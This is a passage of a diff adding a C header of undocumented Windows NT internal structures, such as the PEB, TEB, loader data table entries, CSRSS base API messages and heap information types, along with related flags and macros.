PVOID ActivationContextData; + struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; + UNICODE_STRING AssemblyName; +} BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG, *PBASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG; // + + + +typedef struct _BASE_API_MSG +{ + PORT_MESSAGE h; + struct _CSR_CAPTURE_HEADER* CaptureBuffer; + CSR_API_NUMBER ApiNumber; + ULONG ReturnValue; + ULONG Reserved; + union + { /* size 0xb0*/ + BASE_NLS_SET_USER_INFO_MSG NlsSetUserInfo; + BASE_NLS_GET_USER_INFO_MSG NlsGetUserInfo; + BASE_NLS_UPDATE_CACHE_COUNT_MSG NlsCacheUpdateCount; + BASE_SHUTDOWNPARAM_MSG ShutdownParam; + BASE_CREATEPROCESS_MSG CreateProcess; + BASE_DEFERREDCREATEPROCESS_MSG DeferredCreateProcess; + BASE_CREATETHREAD_MSG CreateThread; + BASE_GETTEMPFILE_MSG GetTempFile; + BASE_EXITPROCESS_MSG ExitProcess; + BASE_DEBUGPROCESS_MSG DebugProcess; + BASE_CHECKVDM_MSG CheckVDM; + BASE_UPDATE_VDM_ENTRY_MSG UpdateVDMEntry; + BASE_GET_NEXT_VDM_COMMAND_MSG GetNextVDMCommand; + BASE_EXIT_VDM_MSG ExitVDM; + BASE_IS_FIRST_VDM_MSG IsFirstVDM; + BASE_GET_VDM_EXIT_CODE_MSG GetVDMExitCode; + BASE_SET_REENTER_COUNT SetReenterCount; + BASE_GET_SET_VDM_CUR_DIRS_MSG GetSetVDMCurDirs; + BASE_BAT_NOTIFICATION_MSG BatNotification; + BASE_REGISTER_WOWEXEC_MSG RegisterWowExec; + BASE_SOUNDSENTRY_NOTIFICATION_MSG SoundSentryNotification; + BASE_REFRESHINIFILEMAPPING_MSG RefreshIniFileMapping; + BASE_DEFINEDOSDEVICE_MSG DefineDosDeviceApi; + BASE_SET_TERMSRVAPPINSTALLMODE SetTermsrvAppInstallMode; + BASE_SET_TERMSRVCLIENTTIMEZONE SetTermsrvClientTimeZone; + BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG SxsCreateActivationContext; + } u; +} BASE_API_MSG, *PBASE_API_MSG; // + +typedef struct _BASE_STATIC_SERVER_DATA +{ + UNICODE_STRING WindowsDirectory; + UNICODE_STRING WindowsSystemDirectory; + UNICODE_STRING NamedObjectDirectory; + USHORT WindowsMajorVersion; + USHORT WindowsMinorVersion; + USHORT BuildNumber; + USHORT CSDNumber; + USHORT RCNumber; + WCHAR CSDVersion[128]; + SYSTEM_BASIC_INFORMATION SysInfo; + SYSTEM_TIMEOFDAY_INFORMATION TimeOfDay; + struct _INIFILE_MAPPING* IniFileMapping; + NLS_USER_INFO NlsUserInfo; + UCHAR DefaultSeparateVDM; + UCHAR IsWowTaskReady; + UNICODE_STRING WindowsSys32x86Directory; + UCHAR fTermsrvAppInstallMode; + RTL_DYNAMIC_TIME_ZONE_INFORMATION tziTermsrvClientTimeZone; + KSYSTEM_TIME ktTermsrvClientBias; + ULONG TermsrvClientTimeZoneId; + UCHAR LUIDDeviceMapsEnabled; + ULONG TermsrvClientTimeZoneChangeNum; +} BASE_STATIC_SERVER_DATA, *PBASE_STATIC_SERVER_DATA; // + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + UCHAR Alignment[4]; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH,*PGDI_TEB_BATCH; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny +} WAIT_TYPE; + +#define STATIC_UNICODE_BUFFER_LENGTH 261 +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define WIN32_CLIENT_INFO_SPIN_COUNT 1 + +typedef PVOID* PPVOID; + +#define TLS_MINIMUM_AVAILABLE 64 + +typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY { + + ULONG Flags; + UNICODE_STRING DosPath; + PVOID Handle; +} ASSEMBLY_STORAGE_MAP_ENTRY, *PASSEMBLY_STORAGE_MAP_ENTRY; + +typedef struct _ASSEMBLY_STORAGE_MAP { + + ULONG Flags; + ULONG AssemblyCount; + struct _ASSEMBLY_STORAGE_MAP_ENTRY** AssemblyArray; +} ASSEMBLY_STORAGE_MAP, *PASSEMBLY_STORAGE_MAP; + +typedef struct _ACTIVATION_CONTEXT_DATA { + ULONG Magic; + ULONG HeaderSize; + ULONG FormatVersion; + ULONG TotalSize; + ULONG DefaultTocOffset; + ULONG ExtendedTocOffset; + ULONG AssemblyRosterOffset; + ULONG Flags; +} ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA; + +typedef struct _ACTIVATION_CONTEXT { + + LONG RefCount; + ULONG Flags; + LIST_ENTRY Links; + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; + //void (NotificationRoutine)(unsigned long, struct _ACTIVATION_CONTEXT*, void*, void*, void*, unsigned char*); + struct _ACTIVATION_CONTEXT* NotificationRoutine; + PVOID NotificationContext; + ULONG SentNotifications[8]; + ULONG DisabledNotifications[8]; + struct _ASSEMBLY_STORAGE_MAP StorageMap; + struct _ASSEMBLY_STORAGE_MAP_ENTRY* InlineStorageMapEntries[32]; + ULONG StackTraceIndex; + PVOID StackTraces[4][4]; +} ACTIVATION_CONTEXT, *PACTIVATION_CONTEXT; // + +typedef struct _PEB_FREE_BLOCK { + struct _PEB_FREE_BLOCK *Next; + ULONG Size; +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _INITIAL_TEB +{ + struct + { + PVOID OldStackBase; + PVOID OldStackLimit; + } OldInitialTeb; + + PVOID StackBase; + PVOID StackLimit; + PVOID StackAllocationBase; + +} INITIAL_TEB, *PINITIAL_TEB; + +typedef struct _WOW64_PROCESS +{ + PVOID Wow64; +} WOW64_PROCESS, *PWOW64_PROCESS; + +// +// Private flags for loader data table entries +// + +#define LDRP_STATIC_LINK 0x00000002 +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_IN_PROGRESS 0x00001000 +#define LDRP_UNLOAD_IN_PROGRESS 0x00002000 +#define LDRP_ENTRY_PROCESSED 0x00004000 +#define LDRP_ENTRY_INSERTED 0x00008000 +#define LDRP_CURRENT_LOAD 0x00010000 +#define LDRP_FAILED_BUILTIN_LOAD 0x00020000 +#define LDRP_DONT_CALL_FOR_THREADS 0x00040000 +#define LDRP_PROCESS_ATTACH_CALLED 0x00080000 +#define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 +#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 +#define LDRP_COR_IMAGE 0x00400000 +#define LDRP_COR_OWNS_UNMAP 0x00800000 +#define LDRP_SYSTEM_MAPPED 0x01000000 +#define LDRP_IMAGE_VERIFYING 0x02000000 +#define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 +#define LDRP_ENTRY_NATIVE 0x08000000 +#define LDRP_REDIRECTED 0x10000000 +#define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 +#define LDRP_MM_LOADED 0x40000000 +#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 + +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 + +#define LDR_ADDREF_DLL_PIN 0x00000001 + +#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PUNICODE_STRING FullDllName; + PUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PCUNICODE_STRING FullDllName; + PCUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA +{ + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; + +typedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)( + IN ULONG NotificationReason, + IN PLDR_DLL_NOTIFICATION_DATA NotificationData, + IN OPTIONAL PVOID Context + ); + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX +{ + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; + +// +// Loader Data Table. Used to track DLLs loaded into an +// image. +// +#ifdef __cplusplus +struct LIST_ENTRY_EX : public LIST_ENTRY +{ + BYTE unk1[8]; + HANDLE base; + BYTE unk2[20]; + WCHAR* name; +}; +#endif + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; + PVOID ContextInformation; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; + +typedef NTSTATUS LDR_RELOCATE_IMAGE_RETURN_TYPE; + +struct _FLS_CALLBACK_INFO; + +typedef BOOLEAN (NTAPI *PDLL_INIT_ROUTINE)( + IN PVOID DllHandle, + IN ULONG Reason, + IN OPTIONAL PCONTEXT Context + ); + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_RELATIVE_NAME +{ + STRING RelativeName; + HANDLE ContainingDirectory; +} RTL_RELATIVE_NAME, *PRTL_RELATIVE_NAME; + +typedef struct _RTLP_CURDIR_REF *PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U +{ + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U; + +typedef enum _RTL_PATH_TYPE +{ + RtlPathTypeUnknown, + RtlPathTypeUncAbsolute, + RtlPathTypeDriveAbsolute, + RtlPathTypeDriveRelative, + RtlPathTypeRooted, + RtlPathTypeRelative, + RtlPathTypeLocalDevice, + RtlPathTypeRootLocalDevice +} RTL_PATH_TYPE, *PRTL_PATH_TYPE; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +// 18/04/2011 updated +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PPVOID FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, *PPEB; + +// +// Fusion/sxs thread state information (aka, stuff noone cares about!) +// + +#define ACTIVATION_CONTEXT_STACK_FLAG_QUERIES_DISABLED (0x00000001) + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + struct _ACTIVATION_CONTEXT* ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + + +typedef struct _ACTIVATION_CONTEXT_STACK +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME * ActiveFrame; + struct _LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef const ACTIVATION_CONTEXT_STACK * PCACTIVATION_CONTEXT_STACK; + +#define TEB_ACTIVE_FRAME_CONTEXT_FLAG_EXTENDED (0x00000001) + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef const TEB_ACTIVE_FRAME_CONTEXT *PCTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT_EX +{ + TEB_ACTIVE_FRAME_CONTEXT BasicContext; + PCSTR SourceLocation; // e.g. "c:\windows\system32\ntdll.dll" +} TEB_ACTIVE_FRAME_CONTEXT_EX, *PTEB_ACTIVE_FRAME_CONTEXT_EX; + +typedef const TEB_ACTIVE_FRAME_CONTEXT_EX *PCTEB_ACTIVE_FRAME_CONTEXT_EX; + +#define TEB_ACTIVE_FRAME_FLAG_EXTENDED (0x00000001) + +// 17/3/2011 updated +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef const TEB_ACTIVE_FRAME *PCTEB_ACTIVE_FRAME; + +typedef struct _TEB_ACTIVE_FRAME_EX +{ + TEB_ACTIVE_FRAME BasicFrame; + PVOID ExtensionIdentifier; // use address of your DLL Main or something mapping in the address space +} TEB_ACTIVE_FRAME_EX, *PTEB_ACTIVE_FRAME_EX; + +typedef const TEB_ACTIVE_FRAME_EX *PCTEB_ACTIVE_FRAME_EX; + +// 18/04/2011 +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PPVOID TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +#define PcTeb 0x18 + +#define RtlGetCurrentProcessId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess)) +#define RtlGetCurrentThreadId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread)) + +#define ZwCurrentProcess() NtCurrentProcess() + +// 17/3/2011 added +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } +#define WOWAddress() ( NtCurrentTeb()->WOW32Reserved ) +#define RtlProcessHeap() ( NtCurrentPeb()->ProcessHeap ) + +// 28/3/2011 added +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +// added 18.04.2011 +typedef struct _THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PTEB TebBaseAddress; + CLIENT_ID ClientId; + KAFFINITY AffinityMask; + KPRIORITY Priority; + KPRIORITY BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + +// added 20.12.11 +// Process Device Map information +// NtQueryInformationProcess using ProcessDeviceMap +// NtSetInformationProcess using ProcessDeviceMap +// +//#pragma pack (push, 1) +typedef struct _PROCESS_DEVICEMAP_INFORMATION { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; + +typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; + ULONG Flags; // specifies that the query type +} PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX; +//#pragma pack(pop) + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION +{ + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _RTL_HEAP_ENTRY +{ + SIZE_T Size; + USHORT Flags; + USHORT AllocatorBackTraceIndex; + union + { + struct + { + SIZE_T Settable; + ULONG Tag; + } s1; // All other heap entries + struct + { + SIZE_T CommittedSize; + PVOID FirstBlock; + } s2; // RTL_SEGMENT + } u; +} RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY; + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +typedef struct _RTL_HEAP_TAG +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} RTL_HEAP_TAG, *PRTL_HEAP_TAG; + +typedef struct _RTL_HEAP_INFORMATION +{ + PVOID BaseAddress; + ULONG Flags; + USHORT EntryOverhead; + USHORT CreatorBackTraceIndex; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + ULONG NumberOfTags; + ULONG NumberOfEntries; + ULONG NumberOfPseudoTags; + ULONG PseudoTagGranularity; + ULONG Reserved[ 5 ]; + PRTL_HEAP_TAG Tags; + PRTL_HEAP_ENTRY Entries; +} RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION; + +typedef struct _RTL_PROCESS_HEAPS +{ + ULONG NumberOfHeaps; + RTL_HEAP_INFORMATION Heaps[ 1 ]; +} RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS; + +typedef struct _RTL_PROCESS_LOCK_INFORMATION +{ + PVOID Address; + USHORT Type; + USHORT CreatorBackTraceIndex; + + HANDLE OwningThread; // from the thread's ClientId->UniqueThread + LONG LockCount; + ULONG ContentionCount; + ULONG EntryCount; + + // + // The following fields are only valid for Type == RTL_CRITSECT_TYPE + // + + LONG RecursionCount; + + // + // The following fields are only valid for Type == RTL_RESOURCE_TYPE + // + + ULONG NumberOfWaitingShared; + ULONG NumberOfWaitingExclusive; +} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION; + +// do not name SHA_CTX, if using OpenSSL or such... produces errors. +typedef struct { + ULONG Unknown[6]; + ULONG State[5]; + ULONG Count[2]; + UCHAR Buffer[64]; +} ASHA_CTX, *PSHA_CTX; + +struct _CONTEXT; +struct _EXCEPTION_RECORD; + +// note, winnt.h ... such the pain-in-ass with this structure. +#if !defined(_WINNT_) +typedef +EXCEPTION_DISPOSITION +(*PEXCEPTION_ROUTINE) ( + IN struct _EXCEPTION_RECORD *ExceptionRecord, + IN PVOID EstablisherFrame, + IN OUT struct _CONTEXT *ContextRecord, + IN OUT PVOID DispatcherContext + ); + +typedef struct _EXCEPTION_REGISTRATION_RECORD { + struct _EXCEPTION_REGISTRATION_RECORD *Next; + PEXCEPTION_ROUTINE Handler; +} EXCEPTION_REGISTRATION_RECORD; + +typedef EXCEPTION_REGISTRATION_RECORD *PEXCEPTION_REGISTRATION_RECORD; +#endif + +#if !defined(POINTER_64) +#define POINTER_64 __ptr64 +typedef unsigned __int64 POINTER_64_INT; +#if defined(_M_X64) +#define POINTER_32 __ptr32 +#else +#define POINTER_32 +#endif +#endif + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + + +typedef enum _SUITE_TYPE +{ + SmallBusiness, + Enterprise, + BackOffice, + CommunicationServer, + TerminalServer, + SmallBusinessRestricted, + EmbeddedNT, + DataCenter, + SingleUserTS, + Personal, + Blade, + EmbeddedRestricted, + SecurityAppliance, + StorageServer, + ComputeServer, + MaxSuiteType +} 